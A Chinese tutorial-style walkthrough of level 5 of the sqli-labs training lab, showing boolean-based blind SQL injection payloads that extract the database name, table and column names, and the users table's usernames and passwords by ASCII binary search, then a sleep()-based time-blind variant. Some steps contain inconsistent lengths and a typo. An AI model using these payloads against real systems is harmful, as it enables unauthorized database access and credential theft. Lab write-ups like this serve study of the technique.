基于时间的 SQL 盲注-延时判断和基于布尔的 SQL 盲注

sqli-maps第五关

先尝试bool盲注实在不行才会尝试时间盲注

1.先尝试页面是否正常显示

id=1' and 1=1

id=1' and 1=2

发现了异常

2.然后判断列数

id=1' order by 3

3.然后判断数据库的类型和数据库的名字

显示判断数据库的类型:and length(@@version)>0 --+ 页面正常显示就是mysql

然后对于数据库的名字就要开始尝试:

先对数据库的名字长度开始尝试:id=1 and length(database())>5逐步尝试,然后最终确定了:id=1 and length(database())>9 此时出现了页面的错误就是说明数据库的长度是8位

然后再对数据库的名字开始尝试:

数据库的名字可能是不同的符号,数字,字母什么的就是用ascii码来转换一下,统一转换成数字

先判断数据库名字第一个是啥and ascii(substr(database(),1,1))>100 --+来确定一下范围,如果页面正常就扩大或者缩小一定的范围

-- 先确定大致范围

id=1' and ascii(substr(database(),1,1))>100 --+ → 正常(说明>100)

id=1 'and ascii(substr(database(),1,1))>64 --+ → 正常(说明>64,可能是字母)

-- 二分法精确搜索

id=1' and ascii(substr(database(),1,1))>96 --+ → 正常(说明>96,小写字母)

id=1' and ascii(substr(database(),1,1))>109 --+ → 正常(说明>109,在110-122之间)

id=1' and ascii(substr(database(),1,1))>115 --+ → 异常(说明<=115,在110-115之间)

id=1' and ascii(substr(database(),1,1))>112 --+ → 正常(说明>112,在113-115之间)

-- 精确确定

id=1' and ascii(substr(database(),1,1))=113 --+ → 异常

id=1' and ascii(substr(database(),1,1))=114 --+ → 异常

id=1' and ascii(substr(database(),1,1))=115 --+ → 正常

最终确定第一位:ASCII 115 = 's'

尝试八次就能得到数据库的名字是security

4.从security数据库里面得到相应的表的信息:

表名提取

-- 1. 表数量

id=1' and (select count(*) from information_schema.tables where table_schema='security')=5 --+(发现页面的错误)

id=1' and (select count(*) from information_schema.tables where table_schema='security')=4 --+(发现页面正常)

表有四个

-- 2. 逐位获取第一个表名

第一步:获取第一个表名的长度

-- 先用范围判断长度

id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5 --+

id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10 --+

id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>8 --+

id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=7 --+(出现异常)

说明第一个表的长度是6

第二步:逐位提取第一个表名的字符(跟猜数据库的步骤类似大写字母,小写字母,字母分界线先来测试范围)

假设第一个表名长度是5个字符:

第1位字符:

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>64 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>96 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>109 --+

-- 使用二分法精确确定

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+ -- 'e'

逐次爆破得到第一个表是emalis

最终可以得到所有的表是:emails,referers,uagents,users

然后重复上述操作为的是得到后面需要的用户名和密码

5.得到列的数据

字段提取

用上面的方法再次操作

-- 测试ASCII范围

-- 二分法精确确定

-- 最终确定

-- 1.

id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() limit 0,1),1,1))=105--+

可以将users下的列名全部得出,为id,username,password

6.数据提取

用上面的方法再次操作

-- 1. 提取用户名

id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

依次提取第一个用户是 :Dumb

-- 2. 提取密码

id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+

依次提取第一个密码是:Dumb

+----+----------+------------+

| id | username | password |

+----+----------+------------+

| 1 | Dumb | Dumb |

| 2 | Angelina | I-kill-you |

| 3 | Dummy | p@ssword |

| 4 | secure | crappy |

| 5 | stupid | stupidity |

| 6 | superman | genious |

| 7 | batman | mob!le |

| 8 | admin | admin |

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 | dhakkan | dumbo |

| 14 | admin4 | admin4 |

+----+----------+------------+

如果要时间盲注只需要加上if和sleep的条件就行:

比如最后的id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+只需要改成:

id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0)--+

相关推荐
Patrick在香港9 分钟前
一个斜杠,把毫秒变成十几秒
android·数据库·python·性能优化·正则表达式·回溯·redos
悟道书生15 分钟前
(一)Navicate为什么转存结构和数据只转存表而不包含建库?
数据库·oracle
赤龙ERP1 小时前
ERP周报:连接器开闸、国产GPU进场与智能工厂253家
数据库·人工智能·大模型·rpa·erp·企业数字化·builderpattern
lusklusklusk1 小时前
SQL Server补丁版本号为什么“日期新反而版本低”?——GDR、CU、CU+GDR 版本号规则与升级路径详解
数据库
key_3_feng1 小时前
评估与对齐:Agent 自我进化的护栏
前端·数据库·agent
TangGeeA1 小时前
数据库、SQL 与 DB AI
数据库·人工智能·sql
IvorySQL1 小时前
开源数据库进校园| 11 月 3 日,IvorySQL 校园行走进浙大宁波校区:从 PostgreSQL 扩展生态到 AI 实战
数据库·postgresql·开源
福建佰胜张工1 小时前
深度解析 Allen-Bradley 150-B135NBDA 智能电机控制器:选型、参数与工业应用
运维·数据库·单片机·嵌入式硬件·安全·自动化
`Levie2 小时前
MySQL-数据库服务日志管理与数据闪回
数据库·mysql
香蕉大香蕉(06敬畏市场)2 小时前
MySQL 单点详解(01)
java·数据库·mysql·面试·博客·实习